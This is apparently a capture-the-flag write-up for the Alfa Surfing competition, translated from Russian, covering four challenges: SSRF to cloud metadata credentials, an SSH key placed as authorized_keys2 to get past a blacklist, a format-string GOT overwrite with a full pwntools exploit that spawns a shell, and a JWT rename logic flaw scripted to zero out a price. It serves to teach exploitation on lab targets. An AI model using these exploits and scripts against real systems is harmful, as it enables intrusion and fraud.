Page cover

Alfa Surfing

Team: Pepekai

Rank: 6 / 346

The following UI view, challenge description and other things are google translated from Russian to English

Challenge
Category
Points
Solves

Chill Day / Чилловый день

Easy, Infra, Linux, Cloud

478 pts

165

Spam Protection / Защита от спама

Easy, Infra, Web

716 pts

32

A tangled story / Запутанная история

Hard, Pwn, Network, Forensics

892 pts

7

Landing of bloggers / Десант блогеров

Easy, Web, Logic

743 pts

26

Chill Day

Description

You met a chill guy on the ocean shore. He is 90% chill, and the other 56% vibe. Your task is to surpass him. Turn on the maximum chill mode.

The secret of chillness is kept on the server where the chill guy navibcoded a service for archiving web pages.

chillguy-1llrkbd3.alfactf.ru/

Sources: chillguy_6b73b5f.tar.gz

Solution

visiting the website, it present itself as a website fetcher and archiver.

in the source code, there this sus looking function and comment

func isHostAllowed(host string) bool {
    rrs, err := lookupHostWithCache(host)
    if err != nil {
        log.Println(err)
        return false
    }

    hasValidRecords := false
    for _, rr := range rrs {
        fmt.Println(rr.String())
        if rr.Header().Rrtype == dns.TypeA {
            // SECURITY: disallow metadata service
            if rr.Header().Name == "169.254.169.254" {
                return false
            } else {
                hasValidRecords = true
            }
        }
    }

    return hasValidRecords
}

the IP hinted at an internal IP of AWS metadata service. although it is blacklisted, it can be easily bypassed using wildcard DNS such *.nip.io as shown below

after a bit of enumerating, we found the machine credential at /latest/user-data

next step is to fetch the public hostname of the ec2 instance to be able to ssh into it

with a valid credential and public hostname, we can then just ssh into it and get the flag

Spam Protection

Description

In the distance, a huge pile of garbage can be seen in the ocean. You swim closer and realize: it's endless spam.

Inside the pile, buried under promises of quick money and fake stocks, a flag shines. We'll have to dig deeper!

xz1t3vao.spambox.alfactf.ru/

Flag in a file /flag.txt in the root of the file system

Solution

blackbox web challenge as there is no source code.

we can upload files, view the files, create directories and so on. In one of the requests that lists files, we can see that there's a hidden .config.yaml file

we can retrieve the content of the file as follows

.config.yaml
storage_directory: "/home/xz1t3vao"

exclude_files_and_dirs:
  - ".profile"
  - ".bashrc"
  - ".bash_history"
  - ".bash_logout"
  - ".bash_profile"
  - ".history"
  - ".viminfo"
  - ".ssh/authorized_keys"

  - "/etc/"
  - "/proc/"
  - "/sys/"
  - "/home/"
  - "/root/"
  - "/usr/"
  - "/var/"
  - "/tmp/"
  - "/dev/"

readonly_dirs:
  - "sent"

it describes some of the behaviour and the permission of the application towards the filesystem. Here are some of the ideas that I tried but failed:

  1. using a Local File Inclusion /api/content?path=/etc/passwd

  2. overwriting .config.yaml and authorized_keys but it was blacklisted

upon searching there's a legacy authorized_keys2 that is not blacklisted that could possibly also allows authentication and it did worked.

first, I uploaded my ssh public key to the .ssh path with the name of authorized_keys2

next, I authenticate to the system using ssh and my private key and it did worked

A tangled story

Description

You're lying on your surfboard, basking in the sun, when suddenly you hear someone calling for help. You approach the source of the sound and see a strange picture: right at the surface of the water, covered in wires, an octopus is swimming. He downloaded something from the Internet again, started to figure it out, and got confused.

Now his tentacles live their own lives and do not obey. Help the ocean dweller to untangle himself, and at the same time warn him in the future so that he does not think of using wired headphones...

Octopus computer traffic recording: octopus.pcap

The flag is located along the path /app/FLAG.txt on this computer.

Solution

this is a combined network forensic and pwn challenge, I personally didn't involved in the forensics at all. all I know is that after I woke up, my teammates mentioned a need for pwn help and they provided everything I need to know.

anyway, I was given a run.elf by my teammates and the task was on. as I was still asleep my teammates already found the vulnerability by logging into the user melloy.

first, as shown below we can see the binary has minimal protections

$ pwn checksec run.elf 
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
    Debuginfo:  Yes

decompiling the binary, we can see some LLM shenanigans happening

undefined8 main(void)
{
  int n;
  size_t _len;
  long in_FS_OFFSET;
  allocator local_8dd;
  int local_8dc;
  int i;
  int len;
  undefined8 *local_8d0;
  undefined8 *func_alice;
  undefined8 *local_8c0;
  undefined8 *func_melloy;
  char *fmtstr_vuln_1;
  char *fmtstr_vuln_2;
  char *func_bob;
  char *local_898;
  char *local_890;
  char *local_888;
  allocator *local_880;
  basic_string<char,std::char_traits<char>,std::allocator<char>> local_878 [32];
  basic_string local_858 [32];
  char fmtstr_vuln_0 [1024];
  undefined8 username;
  undefined8 local_430;
  long local_30;
  
  local_30 = *(long *)(in_FS_OFFSET + 0x28);
  llama_log_set(suppress_log_callback,0);
  local_880 = &local_8dd;
                    /* try { // try from 00424b8c to 00424b90 has its CatchHandler @ 0042521e */
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::
  basic_string<std::allocator<char>>(local_878,"model/Qwen3-0.6B-F16.gguf",&local_8dd);
  std::__new_allocator<char>::~__new_allocator((__new_allocator<char> *)&local_8dd);
                    /* try { // try from 00424ba1 to 00424bb9 has its CatchHandler @ 004252e0 */
  ggml_backend_load_all();
  local_8dc = 1;
  local_8d0 = (undefined8 *)operator.new(0x48);
                    /* try { // try from 00424bd7 to 00424bdb has its CatchHandler @ 00425264 */
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string
            (local_858);
                    /* try { // try from 00424be9 to 00424bed has its CatchHandler @ 00425250 */
  LLModel::LLModel((LLModel *)local_8d0,SUB81(local_858,0));
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string
            ((basic_string<char,std::char_traits<char>,std::allocator<char>> *)local_858);
                    /* try { // try from 00424c1b to 00424c1c has its CatchHandler @ 004252e0 */
  (**(code **)*local_8d0)(local_8d0);
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string();
                    /* try { // try from 00424c31 to 00424c35 has its CatchHandler @ 004252cc */
  func_alice = (undefined8 *)operator.new(0x88);
                    /* try { // try from 00424c4c to 00424c50 has its CatchHandler @ 0042527e */
  Alice::Alice((Alice *)func_alice,(LLModel *)local_8d0);
                    /* try { // try from 00424c5d to 00424c61 has its CatchHandler @ 004252cc */
  local_8c0 = (undefined8 *)operator.new(0x88);
                    /* try { // try from 00424c78 to 00424c7c has its CatchHandler @ 00425298 */
  Bob::Bob((Bob *)local_8c0,(LLModel *)local_8d0);
                    /* try { // try from 00424c89 to 00424c8d has its CatchHandler @ 004252cc */
  func_melloy = (undefined8 *)operator.new(0x88);
                    /* try { // try from 00424ca4 to 00424ca8 has its CatchHandler @ 004252b2 */
  Melloy::Melloy((Melloy *)func_melloy,(LLModel *)local_8d0);
  username = 0x2072657375206f6e;
  local_430 = 0x6465736f6f6863;
                    /* try { // try from 00424cdc to 004251ca has its CatchHandler @ 004252cc */
  system("cat banner.txt");
  i = 0;
  do {
    if (4 < i) {
loop:
      std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string
                ((basic_string<char,std::char_traits<char>,std::allocator<char>> *)local_858);
      std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string
                (local_878);
      if (local_30 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
        __stack_chk_fail();
      }
      return 0;
    }
    printf("<%s\n",&username);
    fflush(stdout);
    fgets(fmtstr_vuln_0,1024,stdin);
    _len = strlen(fmtstr_vuln_0);
    len = (int)_len;
    if (fmtstr_vuln_0[len + -1] == '\n') {
      fmtstr_vuln_0[len + -1] = '\0';
    }
    if (local_8dc == 1) {
      n = strcmp(fmtstr_vuln_0,"alice");
      if (n != 0) {
        n = strcmp(fmtstr_vuln_0,"bob");
        if (n != 0) {
          n = strcmp(fmtstr_vuln_0,"melloy");
          if (n != 0) {
            printf("No such user");
            fflush(stdout);
            goto inc;
          }
        }
      }
      local_8dc = 2;
      strcpy((char *)&username,fmtstr_vuln_0);
      printf("User set to %s:\n",&username);
      fflush(stdout);
    }
    else if (local_8dc == 2) {
      n = strcmp(fmtstr_vuln_0,"exit");
      if (n == 0) {
        local_8dc = 1;
        username = 0x2072657375206f6e;
        local_430 = 0x6465736f6f6863;
      }
      else {
        _len = strlen(fmtstr_vuln_0);
        if (_len < 8) {
          puts("Very short");
          fflush(stdout);
        }
        else {
          n = strcmp((char *)&username,"alice");
          if (n == 0) {
            (**(code **)*func_alice)(func_alice,fmtstr_vuln_0,local_858);
            local_890 = (char *)std::__cxx11::
                                basic_string<char,std::char_traits<char>,std::allocator<char>>::
                                c_str();
            local_888 = strstr(local_890,"</think>");
            if (local_888 == (char *)0x0) {
              puts(local_890);
              fflush(stdout);
            }
            else {
              local_888 = local_888 + 8;
              puts(local_888);
              fflush(stdout);
            }
          }
          else {
            n = strcmp((char *)&username,"bob");
            if (n == 0) {
              (**(code **)*local_8c0)(local_8c0,fmtstr_vuln_0,local_858);
              func_bob = (char *)std::__cxx11::
                                 basic_string<char,std::char_traits<char>,std::allocator<char>>::
                                 c_str();
              local_898 = strstr(func_bob,"</think>");
              if (local_898 == (char *)0x0) {
                puts(func_bob);
                fflush(stdout);
              }
              else {
                local_898 = local_898 + 8;
                puts(local_898);
                fflush(stdout);
              }
            }
            else {
              n = strcmp((char *)&username,"melloy");
              if (n == 0) {
                puts("You entered");
                printf(fmtstr_vuln_0);
                fflush(stdout);
                (**(code **)*func_melloy)(func_melloy,fmtstr_vuln_0,local_858);
                fmtstr_vuln_1 =
                     (char *)std::__cxx11::
                             basic_string<char,std::char_traits<char>,std::allocator<char>>::c_str ()
                ;
                fmtstr_vuln_2 = strstr(fmtstr_vuln_1,"</think>");
                if (fmtstr_vuln_2 == (char *)0x0) {
                  printf(fmtstr_vuln_1);
                  fflush(stdout);
                }
                else {
                  fmtstr_vuln_2 = fmtstr_vuln_2 + 8;
                  puts(fmtstr_vuln_2);
                  fflush(stdout);
                  printf(fmtstr_vuln_2);
                  fflush(stdout);
                }
                goto loop;
              }
            }
          }
        }
      }
    }
inc:
    i = i + 1;
  } while( true );
}

running the binary will shows the following error

$ ./run.elf 
Init: error: unable to load model
^C

and so I download the 1.2 GB Qwen3-0.6B-F16.gguf from huggingface to satisfy the dependencies. I ran it again and it works, however it seems we only have one shot (and I downloaded a different model but it doesn't matter)

note that the remote requires some sort of pow which was done by my teammate, I just received the code 👍

with the format string, overwriting one of the function entry in GOT to system@PLT is easy.

as this is a one shot pwn, we can't possibly leak libc and the binary has no "/bin/sh" string, I then search if there's a string that ends in "sh" and there was, this will simplifly the exploit

$ strings run.elf | grep "sh$"
fflush
backslash
gpt3-finnish
_M_finish
__old_finish
__new_finish
fflush
ggml_hardswish
ggml_compute_forward_hardswish
.gnu.hash
pwndbg> x/s 0x00671c3f+10
0x671c49:       "sh"

next I need to find what function to overwrite and how to control its argument.

n = strcmp((char *)&username,"melloy");
if (n == 0) {
  puts("You entered");
  printf(fmtstr_vuln_0);
  fflush(stdout);

as can be seen above, after printf is called, the binary calls fflush with stdout in RDI.

in this solution I chose fflush as the target function to be overwritten with system and stdout to contain the address of "sh"

so we need two writes in our one shot payload:

  1. writes at addr 0x7034b0 (fflush@GOT) = 0x409670 (system@PLT)

  2. writes at addr 0x7047c0 (stdout) = 0x671c49 ◂— 0x6e6f617865006873 /* 'sh' */

as the lower nibble of the 32 bytes value 0x671c49 is lower than 0x409670, we will start writing the bytes that has the lower value first.

and thus 0x1c49 will be written first and so our payload will start as

payload = b'%7241c%<OFFSET>$lln'      # writes 0x1c49

next we'll calculate the remaining bytes that we need to write such that the value will be 0x9670

>>> 0x9670 - 0x1c49
31271

and thus our next payload will be

payload += b'%31271c%<OFFSET+1>$lln'    # writes 0x9670

next, we will write the higher nibble of the value to target_address+2.

since 0x67 is higher than 0x40 we will start writing the bytes that has the lower value first, that 0x40. we need to find the next number that has 0x40 in is lower address after 0x9670 and its offset.

>>> 0x9740 - 0x9670
208

and thus our next payload will be

payload += b'%208c%<OFFSET+2>$hhn'      # writes 0x40

this means after 0x9670, we will write additional 208 bytes and the total bytes written will be 0x9740. since we're using the $hhn modifier, we will only write 1 bytes of 0x9740 which corresponds to 0x40.

using the same concept we can find the next offset to write 0x67.

>>> 0x9767 - 0x9740
39

and thus our next payload will be

payload += b'%39c%<OFFSET+3>$hhn'       # writes 0x67

finally, we just need to pad it with 8 bytes and append the payload with the addresses of the to write and update its offsets.

payload += p64(elf.got['stdout'])
payload += p64(elf.got['fflush'])
payload += p64(elf.got['fflush']+2)
payload += p64(elf.got['stdout']+2)

here's the exploit being ran againts the remote server

here's the full exploit script:

exploit.py
#!/usr/bin/env python3
from pwn import *
import hashlib, selectors, socket, sys, time, os, random, string

# =========================================================
#                          SETUP                         
# =========================================================
exe = './run.elf'
elf = context.binary = ELF(exe, checksec=True)
context.log_level = 'debug'
context.terminal = ["tmux", "splitw", "-h", "-l", "175"]
host, port = '46.62.167.155', 31337

def initialize(argv=[]):
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript)
    elif args.REMOTE:
        return remote(host, port)
    else:
        return process([exe] + argv)

gdbscript = '''
init-pwndbg

set follow-fork-mode parent

# fmtstr_vuln_1|2|3
break *0x4250de
break *0x4250de
break *0x425192

c
'''.format(**locals())

def logleak(name, val):  log.info(name+" = %#x" % val)
def sa(delim,data): return io.sendafter(delim,data)
def sla(delim,line): return io.sendlineafter(delim,line)
def sl(line): return io.sendline(line)
def rcu(d1, d2=0):
  io.recvuntil(d1, drop=True)
  # return data between d1 and d2
  if (d2):
    return io.recvuntil(d2,drop=True)

# =========================================================
#                         EXPLOITS
# =========================================================
# $ pwn checksec run.elf 
#     Arch:       amd64-64-little
#     RELRO:      Partial RELRO
#     Stack:      Canary found
#     NX:         NX enabled
#     PIE:        No PIE (0x400000)
#     Stripped:   No
#     Debuginfo:  Yes

BITS = 21  # fixed by the binary

def md5_ok(b: bytes) -> bool:
    # Fast integer check for "leading zero bits"
    h = int.from_bytes(hashlib.md5(b).digest(), "big")
    return (h >> (128 - BITS)) == 0

def find_one(prefix_len: int = 12) -> bytes:
    """
    Precompute ONE printable line whose MD5 has 21 leading zero bits.
    Uses a random prefix to avoid reuse collisions on the server.
    Returns the exact bytes to send (no newline).
    """
    alphabet = string.ascii_lowercase + string.digits
    prefix = "g-" + "".join(random.choice(alphabet) for _ in range(prefix_len)) + "-"
    n = 0
    pref_b = prefix.encode()
    while True:
        cand = pref_b + str(n).encode()
        if md5_ok(cand):
            return cand
        n += 1

def exploit():
    global io

    if args.REMOTE:
        t0 = time.time()
        line = find_one()
        md5hex = hashlib.md5(line).hexdigest()
        print(f"[+] Precomputed line: {line!r}")
        print(f"[+] MD5: {md5hex}  (meets {BITS} leading zero bits)")
        print(f"[+] Precompute time: {time.time() - t0:.2f}s")

    io = initialize()
    rop = ROP(exe)

    if args.REMOTE:
        io.send(line + b"\n")

    # payload = b''
    # for i in range(1, 40):
    #     payload += f'{i}-%p|'.encode()

    # sh = 0x671c49
    # payload = fmtstr_payload(30, {elf.sym['stdout']: sh})
    # payload = fmtstr_payload(30, {elf.got['fflush']: elf.plt['system']}, write_size='short')

    payload = b'%7241c%37$lln'      # writes 0x1c49
    payload += b'%31271c%38$lln'    # writes 0x9670
    payload += b'%208c%39$hhn'      # writes 0x40
    payload += b'%39c%40$hhn'       # writes 0x67
    payload = payload.ljust(0x8*7, b'\x00')
    payload += p64(elf.got['stdout'])
    payload += p64(elf.got['fflush'])
    payload += p64(elf.got['fflush']+2)
    payload += p64(elf.got['stdout']+2)

    sla(b'<', b'melloy')
    sla(b'<', payload)

    logleak('fflush@GOT', elf.got['fflush'])

    io.interactive()
    
if __name__ == '__main__':
    exploit()

Landing of bloggers

Description

New vacationers have arrived on the island — bloggers. Their right hand has become fused with a smartphone, they are constantly filming something and admiring the local beauty

The bloggers are planning a large-scale stream, but a slow internet connection is preventing this. One of the stores has the necessary router, but it is too expensive

Help them buy a high-speed router so that as many people as possible can learn about this beautiful island.

Service for joint purchases: youtroopers-4me3mn03.alfactf.ru/

Sources: youtroopers_6ea8819.tar.gz

Solution

in the source code we can see the goal of this challenge is to buy a product named Высокоскоростной роутер SeaLink X20

if price_per_person <= user_balance:
    flag = None
    if target_product == "Высокоскоростной роутер SeaLink X20":
        flag = "alfa{***REDACTED***}"

however, after registering we can see we start with 0 money and there's no way to topup or gain money.

in the app, there's this mechanism of "clubbing", where multiple user can jointly group and buy an item together. there's a flaw in the logic to calculate how much a person should pay

price_per_person = int(product_price / participant_count)

as there's no check to how much the participant_count can be, if its value is much greater than the product price, the the rounding from int() will return 0.

in the config.py, we can see the price for the item we need to buy is 333

{
    "name": "Высокоскоростной роутер SeaLink X20",
    "description": "Влагозащищённый корпус, устойчив к соляному туману, поддержка Wi‑Fi 6 и LTE/5G для резервирования связи, стабильное покрытие бунгало и пляжной зоны",
    "image": "/static/images/router.png",
    "price": 333
}

this means we can just register 334 users right? not really, the user registration in the app implements a recaptcha, I tried to find if we can bypass it but found nothing.

another thing to note is that the app stores data in in files:

  • users in /app/users/<username>

  • clubbings in /app/clubbings/<item>/<id>/<username>

appuser@a13b06aadde9:/app$ ls
__init__.py  __pycache__  auth.py  clubbings  config.py  main.py  models.py  recaptcha.py  requirements.txt  routes.py  users  utils.py

appuser@a13b06aadde9:/app$ ls users/
testtesttesttesttest

appuser@a13b06aadde9:/app$ cd clubbings/
appuser@a13b06aadde9:/app/clubbings$ ls
'Высокоскоростной роутер SeaLink X20'  'Непромокаемый рюкзак ReefPack 30L'  'Портативный опреснитель AquaSalt GO'  'Солнечная станция SunShell 200'
appuser@a13b06aadde9:/app/clubbings$ cd *X20

appuser@a13b06aadde9:/app/clubbings/Высокоскоростной роутер SeaLink X20$ ls
fa81b1c8

appuser@a13b06aadde9:/app/clubbings/Высокоскоростной роутер SeaLink X20$ ls fa81b1c8/
testtesttesttesttest

by sheer luck when testing dynamically, I found a strange behaviour.

I had saved the request to join clubbing in the repeater as my username session was still testtesttesttesttest. after some time I renamed my user via the web to blablablablablabla which prompted the application to generate a new session token.

at the time I didn't think this was relevant, and as I hit the join clubbing in the repeater using the old session token, I noticed the app didn't invalidate the token and thus a valid old username.

this is because the app relies on the username provided in the jwt token instead of an id that then links to a username in most common applications.

with this in mind we can then craft fake users to lower the price_per_person value to 0 and buy the item to get the flag.

below is the script to automate the creation of fake users and make them join the clubbing

exp.py
import warnings
import requests
from urllib3.exceptions import InsecureRequestWarning

warnings.simplefilter("ignore", InsecureRequestWarning)

url = "https://youtroopers-4me3mn03.alfactf.ru/"

proxies = {
    "http": "http://127.0.0.1:8080",
    "https": "http://127.0.0.1:8080",
}

# register first as a user and get the token
headers = {
    "Authorization": "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJibGFibGFibGFibGFibGFibGFibGFibGFibGFibGEiLCJleHAiOjE3NTc4NTg5NzZ9.BDVJbg9XiwGRdMWM7YTseKzXhRzquIz5fx7vlIPj8cA"
}

res = requests.post(url+"/api/create_clubbing", verify=False, headers=headers, json={"product": "Высокоскоростной роутер SeaLink X20"}, proxies=proxies)
res = requests.get(url+"/api/clubbings", verify=False, headers=headers, proxies=proxies)
clubbing_id = res.json()[0]["clubbing_id"]
print(clubbing_id)

for i in range(0, 334):
    res = requests.post(url+"/api/rename", verify=False, headers=headers, json={"new_username": f"idkidkidkidkidk{i}"}, proxies=proxies)
    new_token = res.json()["access_token"]
    old_token = headers["Authorization"].split(" ")[1]

    res = requests.post(url+'/api/join_clubbing', verify=False, headers=headers, json={"clubbing_id": clubbing_id}, proxies=proxies)

    headers["Authorization"] = f"Bearer {new_token}"

after the script is done running, in the web view join the clubbing using the printed clubbing_id and buy the item to get the flag

Last updated